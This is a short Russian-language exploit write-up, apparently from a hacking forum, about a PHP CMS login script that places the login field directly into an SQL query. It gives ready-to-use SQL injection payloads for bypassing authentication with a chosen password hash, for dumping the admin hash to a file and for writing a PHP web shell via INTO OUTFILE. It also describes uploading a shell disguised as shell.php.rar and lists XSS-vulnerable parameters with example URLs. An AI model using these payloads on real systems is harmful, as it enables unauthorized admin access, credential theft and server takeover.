$res = $site->sql_query("SELECT * FROM ".$prefix."users WHERE user = '$log_name'");
if (!$res)
{
die ("Имя или пароль неверны");
}
$myrow=mysql_fetch_array($res);
if (md5(@$log_pasw) != $myrow["pass"])
{
die ("Имя или пароль неверны");
}
$type = $myrow["type"];
}
Уязвимость в переменной $log_name
I) Есть возможность обойти авторизацию
в поле логин пишем
blabla' union select 'admin','1e9b5660ab6ac33664aec0eb59566fd0','2
в поле пароль пишем пасс, хеш которого написали в поле логин, т.е есть возможность залогинится в админке с любым пасом, зная только логин админа
II) Ну соответсвенно при наличие file_priv и папки на запись можно узнать хеш админа
в поле логин пишем
admin' into outfile '/tmp/xek.txt
пароль любой
или залить шелл
admin' union select 0xshellcode,2,3 into outfile '/tmp/shell.php
Обращаю внимание что во всех случаях в конце кавычку ставить не надо, её подставит сам скрипт =)
В админке шелл льётся через загрузку архивов, грузим shell.php.rar, при удачном раскладе апач обработает файл как php-скрипт
Код не привожу. Массивы $lnk и $ltxt подвержены xss
Пара примеров http://localhost/vu/admin/mod.php?ltxt[1]={XSS}
http://localhost/vu/admin/mod.php?lnk[16]={XSS}